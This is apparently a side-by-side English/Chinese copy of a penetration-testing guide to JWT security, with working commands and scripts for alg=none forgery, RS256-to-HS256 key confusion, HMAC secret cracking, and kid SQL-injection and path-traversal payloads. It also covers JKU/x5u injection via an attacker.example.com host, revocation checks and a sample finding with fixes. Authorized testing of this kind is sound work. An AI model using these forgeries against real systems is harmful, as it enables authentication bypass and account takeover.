testing-jwt-token-security
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseTesting JWT Token Security
JWT令牌安全性测试
When to Use
适用场景
- During authorized penetration tests when the application uses JWT for authentication or authorization
- When assessing API security where JWTs are passed as Bearer tokens or in cookies
- For evaluating SSO implementations that use JWT/JWS/JWE tokens
- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
- During security audits of microservice architectures using JWT for inter-service authentication
- 在授权渗透测试期间,当应用使用JWT进行身份验证或授权时
- 评估以Bearer令牌或Cookie形式传递JWT的API安全性时
- 评估使用JWT/JWS/JWE令牌的SSO实现时
- 测试颁发JWT的OAuth 2.0或OpenID Connect流程时
- 在使用JWT进行服务间身份验证的微服务架构安全审计期间
Prerequisites
前置条件
- Authorization: Written penetration testing agreement for the target
- jwt_tool: JWT attack toolkit (or
pip install jwt_tool)git clone https://github.com/ticarpi/jwt_tool.git - Burp Suite Professional: With JSON Web Token extension from BApp Store
- Python PyJWT: For scripting custom JWT attacks ()
pip install pyjwt - Hashcat: For brute-forcing HMAC secrets ()
apt install hashcat - jq: For JSON processing
- Target JWT: A valid JWT token from the application
- 授权:针对目标的书面渗透测试协议
- jwt_tool:JWT攻击工具包(或
pip install jwt_tool)git clone https://github.com/ticarpi/jwt_tool.git - Burp Suite Professional:安装BApp Store中的JSON Web Token扩展
- Python PyJWT:用于编写自定义JWT攻击脚本()
pip install pyjwt - Hashcat:用于暴力破解HMAC密钥()
apt install hashcat - jq:用于JSON处理
- 目标JWT:来自目标应用的有效JWT令牌
Workflow
测试流程
Step 1: Decode and Analyze the JWT Structure
步骤1:解码并分析JWT结构
Extract and examine the header, payload, and signature components.
bash
undefined提取并检查头部、负载和签名组件。
bash
undefinedDecode JWT parts (base64url decode)
Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
Decode header
Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
Output: {"alg":"HS256","typ":"JWT"}
Output: {"alg":"HS256","typ":"JWT"}
Decode payload
Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}
Using jwt_tool for comprehensive analysis
Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"
python3 jwt_tool.py "$JWT"
Check for sensitive data in the payload:
Check for sensitive data in the payload:
- PII (email, phone, address)
- PII (email, phone, address)
- Internal IDs or database references
- Internal IDs or database references
- Role/permission claims
- Role/permission claims
- Expiration times (exp, nbf, iat)
- Expiration times (exp, nbf, iat)
- Issuer (iss) and audience (aud)
- Issuer (iss) and audience (aud)
undefinedundefinedStep 2: Test Algorithm None Attack
步骤2:测试无算法攻击
Attempt to forge tokens by setting the algorithm to "none".
bash
undefined尝试通过将算法设置为"none"来伪造令牌。
bash
undefinedjwt_tool algorithm none attack
jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a
python3 jwt_tool.py "$JWT" -X a
Manual none algorithm attack
Manual none algorithm attack
Create header: {"alg":"none","typ":"JWT"}
Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
Create modified payload (change role to admin)
Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')
Construct token with empty signature
Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"
Test the forged token
Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT"
"https://target.example.com/api/admin/users" | jq .
"https://target.example.com/api/admin/users" | jq .
curl -s -H "Authorization: Bearer $FORGED_JWT"
"https://target.example.com/api/admin/users" | jq .
"https://target.example.com/api/admin/users" | jq .
Try variations: "None", "NONE", "nOnE"
Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
HEADER=$(echo -n "{"alg":"$alg","typ":"JWT"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $FORGED"
"https://target.example.com/api/admin/users" echo done
-H "Authorization: Bearer $FORGED"
"https://target.example.com/api/admin/users" echo done
undefinedfor alg in none None NONE nOnE; do
HEADER=$(echo -n "{"alg":"$alg","typ":"JWT"}" | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo -n "alg=$alg: "
curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $FORGED"
"https://target.example.com/api/admin/users" echo done
-H "Authorization: Bearer $FORGED"
"https://target.example.com/api/admin/users" echo done
undefinedStep 3: Test Algorithm Confusion (RS256 to HS256)
步骤3:测试算法混淆(RS256转HS256)
If the server uses RS256, try switching to HS256 and signing with the public key.
bash
undefined如果服务器使用RS256,尝试切换为HS256并使用公钥签名。
bash
undefinedStep 1: Obtain the server's public key
Step 1: Obtain the server's public key
Check common locations
Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .
Step 2: Extract public key from JWKS
Step 2: Extract public key from JWKS
Save the JWKS and convert to PEM format
Save the JWKS and convert to PEM format
Use jwt_tool or openssl
Use jwt_tool or openssl
Step 3: jwt_tool key confusion attack
Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem
Manual algorithm confusion attack with Python
Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json
python3 << 'PYEOF'
import jwt
import json
Read the server's RSA public key
Read the server's RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
with open('public_key.pem', 'r') as f:
public_key = f.read()
Create forged payload
Create forged payload
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
payload = {
"sub": "1234567890",
"name": "Admin User",
"role": "admin",
"iat": 1516239022,
"exp": 9999999999
}
Sign with HS256 using the RSA public key as the HMAC secret
Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF
Test the forged token
Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN"
"https://target.example.com/api/admin/users"
"https://target.example.com/api/admin/users"
undefinedcurl -s -H "Authorization: Bearer $FORGED_TOKEN"
"https://target.example.com/api/admin/users"
"https://target.example.com/api/admin/users"
undefinedStep 4: Brute-Force HMAC Secret
步骤4:暴力破解HMAC密钥
If HS256 is used, attempt to crack the signing secret.
bash
undefined如果使用HS256,尝试破解签名密钥。
bash
undefinedUsing jwt_tool with common secrets
Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
Using hashcat for GPU-accelerated cracking
Using hashcat for GPU-accelerated cracking
Mode 16500 = JWT (HS256)
Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt
Using john the ripper
Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
If secret is found, forge arbitrary tokens
If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
undefinedpython3 << 'PYEOF'
import jwt
secret = "cracked_secret_here"
payload = {
"sub": "1",
"name": "Admin",
"role": "admin",
"exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
undefinedStep 5: Test JWT Claim Manipulation and Injection
步骤5:测试JWT声明篡改与注入
Modify JWT claims to escalate privileges or bypass authorization.
bash
undefined修改JWT声明以提升权限或绕过授权。
bash
undefinedUsing jwt_tool for claim tampering
Using jwt_tool for claim tampering
Change role claim
Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret"
-pc role -pv admin
-pc role -pv admin
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret"
-pc role -pv admin
-pc role -pv admin
Test common claim attacks:
Test common claim attacks:
1. JKU (JWK Set URL) injection
1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
Host attacker-controlled JWKS at the URL
Host attacker-controlled JWKS at the URL
2. KID (Key ID) injection
2. KID (Key ID) injection
SQL injection in kid parameter
SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
If kid is used in file path lookup, point to /dev/null (empty key)
If kid is used in file path lookup, point to /dev/null (empty key)
SQL injection via kid
SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"
3. x5u (X.509 URL) injection
3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"
4. Modify subject and role claims
4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret"
-pc sub -pv "admin@target.com"
-pc role -pv "superadmin"
-pc sub -pv "admin@target.com"
-pc role -pv "superadmin"
undefinedpython3 jwt_tool.py "$JWT" -T -S hs256 -p "secret"
-pc sub -pv "admin@target.com"
-pc role -pv "superadmin"
-pc sub -pv "admin@target.com"
-pc role -pv "superadmin"
undefinedStep 6: Test Token Lifetime and Revocation
步骤6:测试令牌生命周期与吊销
Assess token expiration enforcement and revocation capabilities.
bash
undefined评估令牌过期规则执行和吊销能力。
bash
undefinedTest expired token acceptance
Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
python3 << 'PYEOF'
import jwt
import time
secret = "known_secret"
Create token that expired 1 hour ago
Create token that expired 1 hour ago
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"
"https://target.example.com/api/profile" -w "%{http_code}"
payload = {
"sub": "user123",
"role": "user",
"exp": int(time.time()) - 3600,
"iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF
curl -s -H "Authorization: Bearer $EXPIRED_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"
"https://target.example.com/api/profile" -w "%{http_code}"
Test token with far-future expiration
Test token with far-future expiration
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF
python3 << 'PYEOF'
import jwt
secret = "known_secret"
payload = {
"sub": "user123",
"role": "user",
"exp": 32503680000 # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF
Test token reuse after logout
Test token reuse after logout
1. Capture JWT before logout
1. Capture JWT before logout
2. Log out (call /auth/logout)
2. Log out (call /auth/logout)
3. Try using the captured JWT again
3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"
"https://target.example.com/api/profile" -w "%{http_code}"
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN"
"https://target.example.com/api/profile" -w "%{http_code}"
"https://target.example.com/api/profile" -w "%{http_code}"
If 200, tokens are not revoked on logout
If 200, tokens are not revoked on logout
Test token reuse after password change
Test token reuse after password change
Similar test: capture JWT, change password, reuse old JWT
Similar test: capture JWT, change password, reuse old JWT
undefinedundefinedKey Concepts
核心概念
| Concept | Description |
|---|---|
| Algorithm None Attack | Removing signature verification by setting |
| Algorithm Confusion | Switching from RS256 to HS256 and signing with the public key as HMAC secret |
| HMAC Brute Force | Cracking weak HS256 signing secrets using wordlists or brute force |
| JKU/x5u Injection | Pointing JWT header URLs to attacker-controlled key servers |
| KID Injection | Exploiting SQL injection or path traversal in the Key ID header parameter |
| Claim Tampering | Modifying payload claims (role, sub, permissions) after compromising the signing key |
| Token Revocation | The ability (or inability) to invalidate tokens before their expiration |
| JWE vs JWS | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |
| 概念 | 描述 |
|---|---|
| 无算法攻击 | 通过将 |
| 算法混淆 | 从RS256切换到HS256,并使用公钥作为HMAC密钥进行签名 |
| HMAC暴力破解 | 使用词表或暴力破解方式破解弱HS256签名密钥 |
| JKU/x5u注入 | 将JWT头部中的URL指向攻击者控制的密钥服务器 |
| KID注入 | 利用Key ID头部参数中的SQL注入或路径遍历漏洞 |
| 声明篡改 | 在获取签名密钥后修改负载声明(角色、用户标识、权限) |
| 令牌吊销 | 在令牌过期前使其失效的能力(或缺乏该能力) |
| JWE vs JWS | JSON Web加密(保密性)与JSON Web签名(完整性) |
Tools & Systems
工具与系统
| Tool | Purpose |
|---|---|
| jwt_tool | Comprehensive JWT testing toolkit with automated attack modules |
| Burp JWT Editor | Burp Suite extension for real-time JWT manipulation |
| Hashcat | GPU-accelerated HMAC secret brute-forcing (mode 16500) |
| John the Ripper | CPU-based JWT secret cracking |
| PyJWT | Python library for programmatic JWT creation and manipulation |
| jwt.io | Online JWT decoder for quick analysis (do not paste production tokens) |
| 工具 | 用途 |
|---|---|
| jwt_tool | 功能全面的JWT测试工具包,包含自动化攻击模块 |
| Burp JWT Editor | Burp Suite扩展,用于实时JWT篡改 |
| Hashcat | GPU加速的HMAC密钥暴力破解工具(模式16500) |
| John the Ripper | 基于CPU的JWT密钥破解工具 |
| PyJWT | 用于程序化创建和篡改JWT的Python库 |
| jwt.io | 在线JWT解码器,用于快速分析(请勿粘贴生产环境令牌) |
Common Scenarios
常见场景
Scenario 1: Algorithm None Bypass
场景1:无算法绕过
The JWT library accepts tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.
"alg":"none"JWT库接受令牌,允许任何用户通过移除签名并修改算法头部来伪造管理员令牌。
"alg":"none"Scenario 2: Weak HMAC Secret
场景2:弱HMAC密钥
The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.
应用使用HS256算法,且签名密钥为字典中的常见词汇。Hashcat可在数分钟内破解密钥,实现完全令牌伪造和管理员身份冒充。
Scenario 3: Algorithm Confusion on SSO
场景3:SSO上的算法混淆
An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.
SSO提供商使用RS256算法,但消费端应用也接受HS256算法。攻击者使用公开可用的RSA公钥,通过HS256算法对伪造令牌进行签名。
Scenario 4: KID SQL Injection
场景4:KID SQL注入
The header parameter is used in a SQL query to look up signing keys. Injecting allows the attacker to control the signing key.
kid' UNION SELECT 'attacker_secret' --kid' UNION SELECT 'attacker_secret' --Output Format
输出格式
undefinedundefinedJWT Security Finding
JWT Security Finding
Vulnerability: JWT Algorithm Confusion (RS256 to HS256)
Severity: Critical (CVSS 9.8)
Location: Authorization header across all API endpoints
OWASP Category: A02:2021 - Cryptographic Failures
Vulnerability: JWT Algorithm Confusion (RS256 to HS256)
Severity: Critical (CVSS 9.8)
Location: Authorization header across all API endpoints
OWASP Category: A02:2021 - Cryptographic Failures
JWT Configuration
JWT Configuration
| Property | Value |
|---|---|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
| Property | Value |
|---|---|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
Attacks Confirmed
Attacks Confirmed
| Attack | Result |
|---|---|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
| Attack | Result |
|---|---|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
Impact
Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
Recommendation
Recommendation
- Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement token revocation via a blocklist or short expiration with refresh tokens
- Validate all JWT claims server-side (iss, aud, exp, nbf)
- Use a minimum key length of 256 bits for HMAC secrets
undefined- Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement token revocation via a blocklist or short expiration with refresh tokens
- Validate all JWT claims server-side (iss, aud, exp, nbf)
- Use a minimum key length of 256 bits for HMAC secrets
undefined